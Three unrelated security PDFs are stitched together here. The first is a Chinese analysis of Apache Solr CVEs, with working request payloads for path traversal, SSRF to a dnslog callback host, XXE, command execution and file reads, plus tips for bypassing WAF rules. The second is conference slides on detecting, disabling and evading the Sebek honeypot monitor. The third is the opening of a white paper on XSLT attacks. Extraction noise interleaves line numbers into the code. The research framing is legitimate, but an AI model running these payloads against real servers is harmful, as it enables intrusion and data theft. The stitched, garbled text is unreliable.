影响版本
备注
shards参数SSRF
CVE-2017-3164
⾼危
1.4.0-6.4.0
任意⽂件读取
CVE-2017-3163
⾼危
同3164
1.2.漏洞分布与关联
A.分布
多为扩展组件上出现漏洞
B.关联
⽆
1.3.漏洞过去、现在、未来
2.复现及分析
2.1. CVE-2017-3163
2.1.1 复现
poc 如下
复现截图
XXE&RCE
CVE-2017-
12629
⾼危
<7.1.0
XXE
CVE-2018-1308
⾼危
1.2⾄6.6.2和
7.0.0⾄7.2.1
XXE
CVE-2018-8026
⾼危
6.6.4, 7.3.1
反序列化RCE
CVE-2019-0192
⾼危
5.0.0 to 5.5.5
and 6.0.0 to
6.6.5
RCE
CVE-2019-0193
⾼危
< 8.2.0
RCE
CVE-2019-
17558
⾼危
5.0.0版本⾄
8.3.1
模板注⼊
任意⽂件上传
CVE-2020-
13957
⾼危
Solr 8.6.2 之前
GET /solr/db/replication?
command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=f
ilestream&generation=1 HTTP/1.1
1
Host: 192.168.33.130:8983
2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)
Gecko/20100101 Firefox/82.0
3
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
4
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2
5
Accept-Encoding: gzip, deflate
6
Connection: close
7
Upgrade-Insecure-Requests: 1
8
Cache-Control: max-age=0
9
2.1.2 分析
⾸先我们diff 下6.4.2 和6.4.0 看⼀下是怎么修复的
伤⼼,尝试了⼀下绕不过去,直接是在ReplicationHandler中做了过滤,根据之前分析的Solr
启动过程的处理逻辑,再结合poc的url:/solr/db/replication,可以猜到肯定会⾛到
ReplicationHandler的handlerequest⽅法,所以断点直接下到这⾥就可
在没有修复的版本⾥,没有任何过滤
直接读取了⽂件
修复之后,针对不同系统的⽂件分隔符将⽂件名拆分成⼀个迭代器,如果发现 ".."存在,就返
回403
2.2 CVE-2017-3164
2.2.1 复现
GET /solr/db/replication?
command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasi
cAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1
1
Host: 192.168.33.130:8983
2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0)
Gecko/20100101 Firefox/82.0
3
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
4
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-
US;q=0.3,en;q=0.2
5
2.2.2 分析
观察poc,path没变还是/db/replication,所以问题仍旧出在
org/apache/solr/handler/ReplicationHandler.java 中,但是由于command=fetchindex,
command嘚参数不同,所以会⾛到不同嘚处理逻辑,这⾥会进⼊最后⼀个
这⾥会开启另⼀个线程,进⼊doFetch嘚处理逻辑
Accept-Encoding: gzip, deflate
6
Connection: close
7
Upgrade-Insecure-Requests: 1
8
Cache-Control: max-age=0
9
最终会⾛到触发嘚地⽅
此时嘚调⽤栈
2.3 CVE-2018-1308
2.3.1 复现
POC:
getLatestVersion:202, IndexFetcher (org.apache.solr.handler)
1
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
2
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)
3
doFetch:397, ReplicationHandler (org.apache.solr.handler)
4
lambda$handleRequestBody$0:279, ReplicationHandler
(org.apache.solr.handler)
5
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
6
run:-1, Thread (java.lang)
7
POST /solr/db/dataimport HTTP/1.1
1
Host: 192.168.170.139:8983
2
Connection: close
3
Content-Type: application/x-www-form-urlencoded
4
Content-Length: 208
5
command=full-
import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-
8%22%3F%3E
6
%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1
:7777%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E
7
2.3.2 分析
看请求的url就知道问题出在org.apache.solr.handler.dataimport.DataImportHandler,结合
command以及dataConfig参数,很快可以定位到
this.importer.maybeReloadConfiguration(requestParams, defaultParams);
跟进org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration⽅法
继续跟进org.apache.solr.handler.dataimport.DataImporter#loadDataConfig,可以发现没有
任何关于XXE的防御处理
修复,这⾥直接看最新版本的修复,这⾥的commit同时也修复了CVE-2019-0193,补丁增加
了
enable.dih.dataConfigParam(默认为false)只有启动solr的时候加上参数-
Denable.dih.dataConfigParam=true 才会被设置为true。
2.4 CVE-2017-12629
2.4.1 复现
XXE:
http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%7
3%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%5
3%59%53%54%45%4d%20"http://aaa.mryq4g.dnslog.cn"><a></a>'}&wt=xml
RCE:
2.4.2 分析
POST /solr/newcollection/config HTTP/1.1
1
Host: localhost:8983
2
Connection: close
3
Content-Type: application/json
4
Content-Length: 198
5
{
6
"add-listener" : {
7
"event":"newSearcher",
8
"name":"newlistener-1",
9
"class":"solr.RunExecutableListener",
10
"exe":"curl",
11
"dir":"/usr/bin/",
12
"args":["http://127.0.0.1:8080"]
13
}
14
}
15
XXE
其实是Lucene出现的漏洞,⽽Solr⼜是Lucenne作为核⼼语义分析引擎,所以受此漏洞影响,
具体漏洞点在org.apache.lucene.queryparser.xml.CoreParser#parseXML
可以看⻅没有任何关于XMl解析XXE的防御,此时主要调⽤栈
修复,增加了XXE的通⽤防御
RCE:
这个都不太想调试了,问题类⽅法是org.apache.solr.core.RunExecutableListener#exec
官⽅修复呢也是直接把这个类删了
parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
1
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
2
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)
3
getQuery:168, QParser (org.apache.solr.search)
4
prepare:160, QueryComponent (org.apache.solr.handler.component)
5
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
6
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
7
execute:2306, SolrCore (org.apache.solr.core)
8
execute:658, HttpSolrCall (org.apache.solr.servlet)
9
call:464, HttpSolrCall (org.apache.solr.servlet)
10
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
11
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)
12
2.5 CVE-2018-8026
上传configset 解析配置⽂件xml时造成xxe,具体分析复现移步https://xz.aliyun.com/t/244
8
具体看org.apache.solr.schema.FileExchangeRateProvider修复,都换成SafeXMLParsing了
2.6 CVE-2019-0193
2.6.1 复现
POC:
<dataConfig>
1
<dataSource type="URLDataSource"/>
2
<script><![CDATA[
3
function poc(){ java.lang.Runtime.getRuntime().exec("calc");
4
}
5
2.6.2 分析
同样是DataImportHandler出问题
进⼊到Dataimport功能⻚⾯,开启debug,默认给出了如下xml
]]></script>
6
<document>
7
<entity name="stackoverflow"
8
url="https://stackoverflow.com/feeds/tag/solr"
9
processor="XPathEntityProcessor"
10
forEach="/feed"
11
transformer="script:poc" />
12
</document>
13
</dataConfig>
14
<dataConfig>
1
<dataSource driver="org.hsqldb.jdbcDriver"
url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex"
user="sa" />
2
<document>
3
<entity name="item" query="select * from item"
4
deltaQuery="select id from item where last_modified >
'${dataimporter.last_index_time}'">
5
<field column="NAME" name="name" />
6
7
<entity name="feature"
8
query="select DESCRIPTION from FEATURE where
ITEM_ID='${item.ID}'"
9
deltaQuery="select ITEM_ID from FEATURE where
last_modified > '${dataimporter.last_index_time}'"
10
parentDeltaQuery="select ID from item where
ID=${feature.ITEM_ID}">
11
<field name="features" column="DESCRIPTION" />
12
</entity>
13
14
<entity name="item_category"
15
query="select CATEGORY_ID from item_category where
ITEM_ID='${item.ID}'"
16
deltaQuery="select ITEM_ID, CATEGORY_ID from
item_category where last_modified > '${dataimporter.last_index_time}'"
17
parentDeltaQuery="select ID from item where
ID=${item_category.ITEM_ID}">
18
<entity name="category"
19
query="select DESCRIPTION from category where ID =
'${item_category.CATEGORY_ID}'"
20
deltaQuery="select ID from category where
last_modified > '${dataimporter.last_index_time}'"
21
entity 标签中⽀持执⾏script,且⽀持jndi,也就是漏洞触发的地⽅,具体dataimport⽀持的
功能参阅官⽅⽂档https://solr.apache.org/guide/8_6/uploading-structured-data-store-d
ata-with-the-data-import-handler.html
补丁增加了
enable.dih.dataConfigParam(默认为false)只有启动solr的时候加上参数-
Denable.dih.dataConfigParam=true 才会被设置为true。利⽤失败如下
2.7 CVE-2019-0192
2.7.1 复现
https://github.com/mpgn/CVE-2019-0192/
2.7.2 分析
Solr⽀持动态的更新配置,但是更新的并不是Solrconfig.xml ⽽是configoverlay.json
官⽅⽂档参考如下
Config API可以使⽤类似REST的API调⽤来处理您的solrconfig.xml的各个⽅⾯。
parentDeltaQuery="select ITEM_ID, CATEGORY_ID from
item_category where CATEGORY_ID=${category.ID}">
22
<field column="DESCRIPTION" name="cat" />
23
</entity>
24
</entity>
25
</entity>
26
</document>
27
</dataConfig>
28
此功能默认启⽤,并且在SolrCloud和独⽴模式下的⼯作⽅式类似。许多通常编辑的属性
(如缓存⼤⼩和提交设置)和请求处理程序定义可以使⽤此API进⾏更改。
使⽤此API时,solrconfig.xml不会更改。相反,所有编辑的配置都存储在⼀个名为
configoverlay.json的⽂件中。该configoverlay.json中值覆盖solrconfig.xml中的值。
所以加载core的时候⾃然会加载configoverlay.json⽂件,问题也出在这⾥,精⼼构造的
configoverlay.json可以触发org.apache.solr.core.SolrConfig的危险构造⽅法
进⽽触发org.apache.solr.core.SolrCore#initInfoRegistry
修复,新版本直接不⽀持jmx
2.8 CVE-2019-17558
2.8.1 复现
public SolrConfig(SolrResourceLoader loader, String name, InputSource is)
throws ParserConfigurationException, IOException, SAXException {......}
1
2.8.2 分析
Velocity模板引擎注⼊⾸先触发的话,需要通过config api开启模板引擎开关
params.resource.loader.enabled,Solr提供给管理员⽅便管理的配置api,正常功能,由于
Solr默认安装为未授权,所以攻击者可以直接配置
再看下模板命令执⾏,是返回内容进⾏模板渲染的时候发⽣的代码注⼊
org.apache.solr.servlet.HttpSolrCall#writeResponse
org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse
最后进⼊到模板引擎渲染阶段 org.apache.solr.response.VelocityResponseWriter#write
此时部分调⽤炸
2.9 CVE-2020-13957
官⽅API参考⽂档
https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api
⾸先准备配置⽂件
修改solrconfig.xml velocity.params.resource.loader.enabled:false 为true
⽬录如下
write:151, VelocityResponseWriter (org.apache.solr.response)
1
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
2
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)
3
call:473, HttpSolrCall (org.apache.solr.servlet)
4
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
5
docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./
1
压缩为zip,通过Configset API上传到服务器
配置⽂件上传成功
通过API创建新的collecton,或者从前台创建也可
创建成功
curl -X POST --header "Content-Type:application/octet-stream" --data-
binary @sssconfigset.zip "http://localhost:8983/solr/admin/configs?
action=UPLOAD&name=sssConfigSet"
1
执⾏命令
其实是官⽅正常功能
2.10 全版本任意⽂件读取(官⽅拒绝修复)
默认安装未授权情况下,各项配置皆为默认
下载Solr最新版本
http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz
POC
curl -d '{ "set-property" :
{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
http://192.168.33.130:8983/solr/db/config -H 'Content-
type:application/json'
1
复现
1.第⼀步
2.第⼆步
3.漏洞信息跟进
https://cwiki.apache.org/confluence/display/solr/SolrSecurity
2
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams"
-F "stream.url=file:///C:/a.txt"
3
curl -d '{ "set-property" :
{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
http://192.168.33.130:8983/solr/db/config -H 'Content-
type:application/json'
1
curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams"
-F "stream.url=file:///C:/a.txt"
1
https://issues.apache.org/jira/browse/SOLR
4.⼚商防护及绕过思路
这种组件直接放内⽹就好了,或者⼀定配置身份校验,且Solr路由写的⽐较死,⼚商提取规则
时只要将url过滤完整即可,不会存在绕过情况。
绕过的话,虽然说每个漏洞url较为固定,但是每个功能的触发点皆为每个core或collection,
core的名称包含在url中,且⽣产环境中为⽤户⾃定义,很多规则编写者通常只将示例example
加⼊检测,可绕过⼏率很⾼。
四、个⼈思考
Apache Solr整体默认安装为未授权,且⼤部分资产都为未授权,提供众多api接⼝,⽀持未授
权⽤户通过config api更改配置⽂件,攻击⾯较⼤。
五、参考链接
https://solr.apache.org/guide/8_6/
https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%9
0%88%E9%9B%86/
https://baike.baidu.com/item/apache%20solr
https://cwiki.apache.org/confluence/display/solr/SolrSecurity
https://www.jianshu.com/p/03b1199dec2c
https://zhuanlan.zhihu.com/p/71629409
https://issues.apache.org/jira/browse/SOLR-12770
https://xz.aliyun.com/t/8374
https://www.ebounce.cn/web/73.html
https://developer.aliyun.com/article/616505
https://www.jianshu.com/p/d3d83b6cb17c
https://www.cnblogs.com/leeSmall/p/8992708.html
https://zhouj000.github.io/2019/01/24/solr-6/
https://juejin.im/post/6844903949116391431
http://codingdict.com/article/9427
https://xz.aliyun.com/t/2448
https://xz.aliyun.com/t/1523#toc-1
https://paper.seebug.org/1009/
https://xz.aliyun.com/t/4422 | pdf |
Laboratory for Dependable Distributed Systems • RWTH Aachen University
NoSEBrEaK -
Defeating Honeynets
Maximillian Dornseif, Thorsten Holz, Christian N. Klein
at
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Who and Why
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Honeynet
Honeywall
Honeypots
Honeynets
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Sebek
[...] monitoring capability to all activity on the honeypot
including, but not limited to, keystrokes. If a file is copied to
the honeypot, Sebek will see and record the file, producing
an identical copy. If the intruder fires up an IRC or mail
client, Sebek will see those messages. [...] Sebek also provides
the ability to monitor the internal workings of the honeypot
in a glass-box manner, as compared to the previous black-box
techniques. [...] intruders can detect and disable sebek.
Fortunately, by the time Sebek has been disabled, the code
associated with the technique and a record of the disabling
action has been sent to the collection server.
Know Your Enemy: Sebek
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Workings of Sebek
• Hijacks sys_read().
• Sends data passing through sys_read()
over the network.
• Overwrites parts of the Network stack
(packet_recvmsg) to hide Sebek data
passing on the network.
• Packages to be hidden are identified by
protocol (ETH_P_IP, IPPROTO_UDP),
port and magic.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Hiding of Sebek
• Sebek loads as a kernel module with a
random numeric name.
• Afterwards a second module is loaded
which simply removes Sebek from the list
of modules and unloads itself.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Detecting Sebek
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Detecting Sebek
Several ways to detect a Sebek infected host
come to mind:
• (The Honeywall)
• Latency
• Network traffic counters
• Syscall table modification
• Hidden module
• Other cruft in memory
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Latency
• dd-attack:
dd if=/dev/zero of=/dev/null bs=1
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Network Traffic Counters
• dd-attack / backward running counters
• dev->get_stats->tx_bytes or
dev->get_stats->tx_packets
vs. /proc/net/dev or ifconfig output.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Syscall Table
sys_exit
sys_read
sys_write
sys_open
sys_close
sys_creat
.
.
.
vmlinux
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Syscall Table
sys_exit
sys_read
sys_write
sys_open
sys_close
sys_creat
.
.
.
vmlinux
mod_12345.o
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Syscall Table
before:
sys_read = 0xc0132ecc
sys_write = 0xc0132fc8
after:
sys_read = 0xc884e748
sys_write = 0xc0132fc8
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Finding Modules
• Find
• Extract variables
• Disable
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Module Header
include/linux/module.h:
struct module
{
unsigned long size_of_struct; /* sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
union {
atomic_t usecount;
long pad;
} uc; /* Needs to keep its size - so says rth */
unsigned long flags; /* AUTOCLEAN et al */
unsigned nsyms;
unsigned ndeps;
struct module_symbol *syms;
struct module_ref *deps;
struct module_ref *refs;
int (*init)(void);
void (*cleanup)(void);
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Module Header
➡
➡ 96
➡ Pointers into Kernel
include/linux/module.h:
struct module
{
unsigned long size_of_struct; /* sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
union {
atomic_t usecount;
long pad;
} uc; /* Needs to keep its size - so says rth */
unsigned long flags; /* AUTOCLEAN et al */
unsigned nsyms;
unsigned ndeps;
struct module_symbol *syms;
struct module_ref *deps;
struct module_ref *refs;
int (*init)(void);
void (*cleanup)(void);
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Module Header
➡
➡ 96
➡ Pointers into Kernel
➡ Pointers into the Module
include/linux/module.h:
struct module
{
unsigned long size_of_struct; /* sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
union {
atomic_t usecount;
long pad;
} uc; /* Needs to keep its size - so says rth */
unsigned long flags; /* AUTOCLEAN et al */
unsigned nsyms;
unsigned ndeps;
struct module_symbol *syms;
struct module_ref *deps;
struct module_ref *refs;
int (*init)(void);
void (*cleanup)(void);
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Module Header
➡
➡ 96
➡ Pointers into Kernel
➡ Pointers into the Module
➡ Variables with only a
small range of
“reasonable” values.
include/linux/module.h:
struct module
{
unsigned long size_of_struct; /* sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
union {
atomic_t usecount;
long pad;
} uc; /* Needs to keep its size - so says rth */
unsigned long flags; /* AUTOCLEAN et al */
unsigned nsyms;
unsigned ndeps;
struct module_symbol *syms;
struct module_ref *deps;
struct module_ref *refs;
int (*init)(void);
void (*cleanup)(void);
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Finding Modules
• A module header is allocated by the kernels
vmalloc.
• The function vmalloc aligns memory to
page boundaries (4096 bytes on IA32).
• Memory allocated by vmalloc starts at
VMALLOC_START and ends
VMALLOC_RESERVE bytes later.
for(p = VMALLOC_START; \
p <= VMALLOC_START + VMALLOC_RESERVE-PAGE_SIZE; \
p =+ PAGE_SIZE)
from module_hunter.c by madsys
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
$bs = 128 + int(rand(128));
for($x=0;$x<38;$x++){
$tmp = int(rand() * $bs);
if(!defined($values{$tmp})){
$values{$tmp} = $x;
push(@fun,$tmp);
} else {$x--;}}
($dip, $dport, $sip, $sport, $kso, $magic, $smac0 ... $dmac5, $m_if,
$m_dip, $m_dmac, $m_dport, $m_sport, $m_kso, $m_magic, $m_block) = @fun;
$m_block = int(rand(1000000000)); $mod_name = int(rand(1000000000));
printf"//----- autogenerated fudge.h file\n\n\n";
print "#define BS $bs\n";
print "#define DIP_OFFSET $dip\n";
print "#define DPORT_OFFSET $dport\n";
print "#define SIP_OFFSET $sip\n";
print "#define SPORT_OFFSET $sport\n";
print "#define KSO_OFFSET $kso\n";
print "#define MAGIC_OFFSET $magic\n";
print "#define SMAC_0_OFFSET $smac0\n";
...
print "#define DMAC_5_OFFSET $dmac5\n";
sebek.h: u32 BLOCK[BS];
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
PORT
00000000
00000000
00000000
00000000
MAC5
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
MAC2
00000000
MAC1
00000000
00000000
MAGIC
00000000
00000000
00000000
00000000
00000000
00000000
MAC4
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
MAC0
00000000
00000000
00000000
00000000
MAC3
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
IP
00000000
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
00007a69
00000000
00000000
00000000
00000000
000000d9
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
000000dc
00000000
0000000d
00000000
00000000
f001c0de
00000000
00000000
00000000
00000000
00000000
00000000
000000e5
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0000003a
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
d5495b1d
00000000
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
00007a69
00000000
00000000
00000000
00000000
000000d9
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
000000dc
00000000
0000000d
00000000
00000000
f001c0de
00000000
00000000
00000000
00000000
00000000
00000000
000000e5
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0000003a
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
d5495b1d
00000000
240.1.192.222
XXXXXXX
Magic?
IP?
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
00007a69
00000000
00000000
00000000
00000000
000000d9
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
000000dc
00000000
0000000d
00000000
00000000
f001c0de
00000000
00000000
00000000
00000000
00000000
00000000
000000e5
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0000003a
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
d5495b1d
00000000
213.73.91.29
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
00007a69
00000000
00000000
00000000
00000000
000000d9
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
000000dc
00000000
0000000d
00000000
00000000
f001c0de
00000000
00000000
00000000
00000000
00000000
00000000
000000e5
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0000003a
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
d5495b1d
00000000
31337
Port?
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Retrieving Sebek’s variables
00000000
00000000
00007a69
00000000
00000000
00000000
00000000
000000d9
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
000000dc
00000000
0000000d
00000000
00000000
f001c0de
00000000
00000000
00000000
00000000
00000000
00000000
000000e5
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
0000003a
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000
d5495b1d
00000000
MAC?
Laboratory for Dependable Distributed Systems • RWTH Aachen University
include/linux/module.h:
struct module
{
unsigned long size_of_struct; /* sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
union {
atomic_t usecount;
long pad;
} uc; /* Needs to keep its size - so says rth */
unsigned long flags; /* AUTOCLEAN et al */
unsigned nsyms;
unsigned ndeps;
struct module_symbol *syms;
struct module_ref *deps;
struct module_ref *refs;
int (*init)(void);
void (*cleanup)(void);
include/linux/module.h:
struct module
{
unsigned long size_of_struct; /* sizeof(module) */
struct module *next;
const char *name;
unsigned long size;
union {
atomic_t usecount;
long pad;
} uc; /* Needs to keep its size - so says rth */
unsigned long flags; /* AUTOCLEAN et al */
unsigned nsyms;
unsigned ndeps;
struct module_symbol *syms;
struct module_ref *deps;
struct module_ref *refs;
int (*init)(void);
void (*cleanup)(void);
Disabling Sebek
• The easy way: call
cleanup()
• The obvious way:
reconstruct
sys_read() pointer
from the kernel
and fix it in the
syscall table.
• The crazy way:
patch in your own
untainted
sys_read().
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Avoid logging
Laboratory for Dependable Distributed Systems • RWTH Aachen University
What can be logged?
• Unconditionally obtained by the adversary
• All network traffic
• All calls to read()
• Possible obtained
• Forensic data obtained by disk analysis
• syslog data
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Logging of network traffic
• The adversary completely controls the
network. What can we do about it?
• Use encrypted communication
• Problem: how to deliver our initial
payload? HTTPS-Exploit?
• Disable the logging host or gain access to
it and delete data.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Intercepting read()
• Every interactive Program uses read(1).
• Many Programs use read() for reading
configuration files etc.
• Network Programs usually use recv()
instead of read().
Laboratory for Dependable Distributed Systems • RWTH Aachen University
The power of read()
sshd
socket
ssh-encryption
bash
Internet
sshd
socket
ssh-encryption
bash
UNIX pipe
Internet
fd
fd
Laboratory for Dependable Distributed Systems • RWTH Aachen University
What is logged?
• data read
• pid, uid calling read()
• filedescriptor used
• we can fiddle with this
• name of the progress calling
read() (max 12 bytes)
• we can fiddle with this
struct sbk_h{
u32 magic
u16 ver
u16 type
u32 counter
u32 time_sec
u32 time_usec
u32 pid
u32 uid
u32 fd
char com[12]
u32 length
};
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Making intercepting
read() unrelyable
• As long as you can sqeeze more data
through read() than can be transfered
through the network, something will get
lost.
• dd-attack
dd if=/dev/zero of=/dev/null bs=1
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Living without read()
• Can we? Nearly!
• mmap() is our friend
• it’s very hard to intercept
• it works on all regular files
• ugly exception: /dev/random, pipes,
etc.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Better living without read()
• say goodby to your shell
• you need something which directly talks to
the network and executes your commands
without calling other programs wherever
possible.
• Nice bonus: exec() does not call read
• but importing libraries may do so
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Messing with the process
name
• Just copy & rename the binary.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Results
• Reading files unnoticed.
• Possibly executing programs unnoticed.
• Since filenames are not logged, we can give
the impression of reading certain files.
• Giving the impression we are executing
programms which we don’t.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Kebes
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Kebes
• Proof of concept code.
• Entirely written in Python 2.3 for
portability with no external dependency.
• Can do everything you can expect from a
basic shell.
• Highly dynamic.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Kebes: networking
• Uses TCP-sockets for networking but could
also be adopted to use stdout/stdin or
anything else.
• On top of that implements a crypto layer
based on Diffie-Hellman / AES
implementing compression and random
length padding. Main problem: getting
entropy for DH.
• Python specific “kebes layer” using
serialized objects to transfer commands
and results back and forth.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
“Kebes layer”
• Can work asynchronous and send multiple
commands at once.
• Asynchronous commands are not
implemented by the server at this time.
• Commands can usually work on several
objects on the server at once.
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Kebes layer
• The Kebes server initially knows only a
single command: ADDCOMMAND
• Code for all additional commands is pushed
by the client into the server at runtime as
serialized Python objects.
• So most of the NoSEBrEaK code will
only exist in the server’s RAM.
• Implemented commands: reading/writing
files, secure deletion, direct execution,
listing direcories, ...
Laboratory for Dependable Distributed Systems • RWTH Aachen University
Thank You!
Maximillian Dornseif <[email protected]>
Thorsten Holz <[email protected]>
Christian N. Klein <[email protected]>
Slides at http://md.hudora.de/presentations/#NoSEBrEaK-DC | pdf |
WHITE PAPER
© 2015 IOActive, Inc. All Rights Reserved
Abusing XSLT for Practical Attacks
White Paper
Fernando Arnaboldi
IOActive Senior Security Consultant
Abstract
Over the years, XML has been a rich target for attackers due to flaws in its design as well as
implementations. It is a tempting target because it is used by other programming languages to
interconnect applications and is supported by web browsers. In this talk, I will demonstrate how to
use XSLT to produce documents that are vulnerable to new exploits.
XSLT can be leveraged to affect the integrity of arithmetic operations, lead to code logic failure, or
cause random values to use the same initialization vector. Error disclosure has always provided
valuable information, but thanks to XSLT, it is possible to partially read system files that could
disclose service or system passwords. Finally, XSLT can be used to compromise end-user
confidentiality by abusing the same-origin policy concept present in web browsers.
This document includes proof-of-concept attacks demonstrating XSLT potential to affect
production systems, along with recommendations for safe development.
© 2015 IOActive, Inc. All Rights Reserved. [2]
Contents
Abstract ......................................................................................................................... 1
Introduction ................................................................................................................... 3
Processors ............................................................................................................................. 3
Gathering information about your target ................................................................................. 4
